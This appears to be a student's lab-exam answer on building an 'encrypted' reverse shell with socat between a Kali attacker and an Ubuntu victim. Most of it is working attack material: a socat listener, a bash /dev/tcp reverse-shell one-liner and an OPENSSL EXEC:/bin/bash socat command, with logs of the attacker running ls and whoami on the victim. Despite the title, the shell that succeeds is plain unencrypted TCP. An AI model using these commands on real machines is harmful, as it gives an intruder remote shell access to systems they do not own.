

# ***-encrypted revshell using socat in ubuntu.[10 marks]***

QUE - -encrypted revshell using socat in ubuntu.[10 marks]

ANS -

Command: `socat -d -d TCP-LISTEN:1234 STDOUT` (attacker) kali

Command: `bash -i >& /dev/tcp/192.168.241.159/1234 0>&1` (Victim) ubuntu

```
(root@kali)-[~]
# socat -d -d TCP-LISTEN:1234 STDOUT
2025/01/28 11:13:03 socat[499080] N listening on AF=2 0.0.0.0:1234
2025/01/28 11:13:53 socat[499080] N accepting connection from AF=2 192.168.241.151:35732 on AF=2 192.168.241.159:1234
2025/01/28 11:13:53 socat[499080] W address is opened in read-write mode but only supports write-only
2025/01/28 11:13:53 socat[499080] N using stdout for reading and writing
2025/01/28 11:13:53 socat[499080] N starting data transfer loop with FDs [6,6] and [1,1]
ubuntu@ubuntu:~$ 2025/01/28 11:13:53 socat[499080] N write(1, 0x56505928f000, 64) completed
ls
2025/01/28 11:13:59 socat[499080] N write(6, 0x56505928f000, 3) completed
ls2025/01/28 11:13:59 socat[499080] N write(1, 0x56505928f000, 2) completed
2025/01/28 11:13:59 socat[499080] N write(1, 0x56505928f000, 1) completed
Desktop
Documents
Downloads
Music
Pictures
Public
Templates
Videos
2025/01/28 11:13:59 socat[499080] N write(1, 0x56505928f000, 67) completed
ubuntu@ubuntu:~$ 2025/01/28 11:13:59 socat[499080] N write(1, 0x56505928f000, 64) completed
whoami
2025/01/28 11:14:02 socat[499080] N write(6, 0x56505928f000, 7) completed
whoami2025/01/28 11:14:02 socat[499080] N write(1, 0x56505928f000, 6) completed
2025/01/28 11:14:02 socat[499080] N write(1, 0x56505928f000, 1) completed
ubuntu
2025/01/28 11:14:02 socat[499080] N write(1, 0x56505928f000, 7) completed
ubuntu@ubuntu:~$ 2025/01/28 11:14:02 socat[499080] N write(1, 0x56505928f000, 64) completed
```

```
(Reading database ... 158846 files and directories currently installed.)
Preparing to unpack .../socat_1.7.3.3-2_amd64.deb ...
Unpacking socat (1.7.3.3-2) ...
Setting up socat (1.7.3.3-2) ...
Processing triggers for man-db (2.9.1-1) ...
ubuntu@ubuntu:~$ socat OPENSSL:192.168.1.100:4444,verify=0 EXEC:/bin/bash
2025/01/28 08:11:29 socat[3356] E connect(5, AF=2 192.168.1.100:4444, 16): No route to host
ubuntu@ubuntu:~$ bash -i >& /dev/tcp/192.168.241.159/1234 0>&1
ubuntu@ubuntu:~$ bash -i >& /dev/tcp/192.168.241.159/1234 0>&1
```

